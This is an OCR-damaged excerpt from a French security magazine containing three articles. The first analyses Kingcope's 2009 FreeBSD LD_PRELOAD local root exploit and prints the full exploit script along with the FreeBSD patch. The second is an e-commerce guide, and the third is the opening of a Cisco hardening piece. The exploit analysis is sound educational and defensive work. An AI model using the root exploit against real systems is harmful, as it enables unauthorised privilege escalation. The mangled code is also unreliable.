Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 6: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

62010

Dossier

Avantages et inconveacutenients du e-commerceLe E-commerce comporte les mecircmes avantages qursquoin-ternet crsquoest-agrave-dire lrsquoaccegraves agrave un large public la rapi-diteacute drsquoexeacutecution lrsquoaccegraves 24h24 7j7hellip Mais en plus il permet de geacuteneacuterer une activiteacute et des revenus Fa-cile drsquoaccegraves avoir une boutique en ligne permet de deacute-velopper ses ventes avec un investissement maicirctriseacute et sans les droits drsquoentreacutee drsquoune boutique physique Lrsquoheacutebergement consideacutereacute comme le loyer est acces-sible agrave tous sans garantie demandeacutee De nombreu-ses options sont disponibles pour mettre en place son e-commerce payantes ou gratuites Des solutions de paiement en ligne permettent de geacuteneacuterer des ventes sans papier et agrave des coucircts minimes Bref le e-com-merce ressemble agrave une formidable opportuniteacute ouver-te agrave chacun

Cependant si la plus grande qualiteacute du e-commerce est son accessibiliteacute crsquoest aussi ce qui creacutee son plus grand deacutefaut Lrsquoabondance de boutiques en ligne fait drsquointernet le marcheacute le plus concurrentiel Alors que pour une boutique physique le choix de lrsquoemplacement est deacutecideacute une fois pour toutes sur la toile la place de la boutique change en permanence Personne nrsquoa de place assureacutee

Quelques remarques sur les bonnes questions agrave se poser pour le lancement drsquoune boutique en ligne

Avoir bien reacutefleacutechi agrave son offre commerciale une bou-tique en ligne est avant tout un commerce Mecircme si In-

ternet facilite le lancement drsquoune activiteacute il est important drsquoavoir un bon concept commercial et une offre produitservice attractive pour assurer la viabiliteacute du site Lrsquoob-jectif est de transformer en acheteur le visiteur sur votre site Au-delagrave du site en lui-mecircme ce sont les produitsservices les prix les offres qui feront la diffeacuterence

Rendre sa boutique unique parmi les milliers de bou-tiques en ligne lrsquointernaute doit reconnaicirctre votre bou-tique du premier coup drsquoœil Une boutique en ligne est toujours faite sur le mecircme principe de fiche produit liste produit menu Il est donc important de se diffeacuterencier par lrsquoaspect visuel Le graphisme de votre site montrera tout de suite au visiteur dans quelle ambiance etou ty-pe de magasin il se trouve comme pour une boutique physique Un internaute restera plus longtemps et sera plus curieux sur un site qursquoil appreacutecie graphiquement Il y reviendra aussi et il le retiendra Notons quelques freins graphiques sur une boutique comme lrsquoabondance de banniegraveres susceptible de surcharger la page drsquoac-cueil tout comme lexcegraves danimations En outre une page tunnel qui annonce le site avant drsquoy entrer vrai-ment fait parfois son effet agrave la premiegravere visite mais au bout de plusieurs aura tendance agrave lasser lrsquointernaute Toujours dans lrsquoambiance geacuteneacuterale du site la musique risque de freiner le visiteur (manque de discreacutetion re-dondance agrave chaque nouvelle page bouton STOP invi-siblehellip) Tous ces critegraveres deacutependent de votre projet et de lrsquoimage que vous souhaitez veacutehiculer Lrsquoidentiteacute vi-suelle est dans tous les cas un critegravere primordial pour se diffeacuterencier

Boutiques online

Le nombre de boutiques en ligne augmente chaque jour A travers cet article vous allez apprendre comment lancer sa boutique online

Cet article expliquebull avantages et inconveacutenients du E-commercebull comment lancer sa boutique onlinebull solutions e-commerce

Ce quil faut savoirbull Aucune connaissance nest requise

store Factory

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

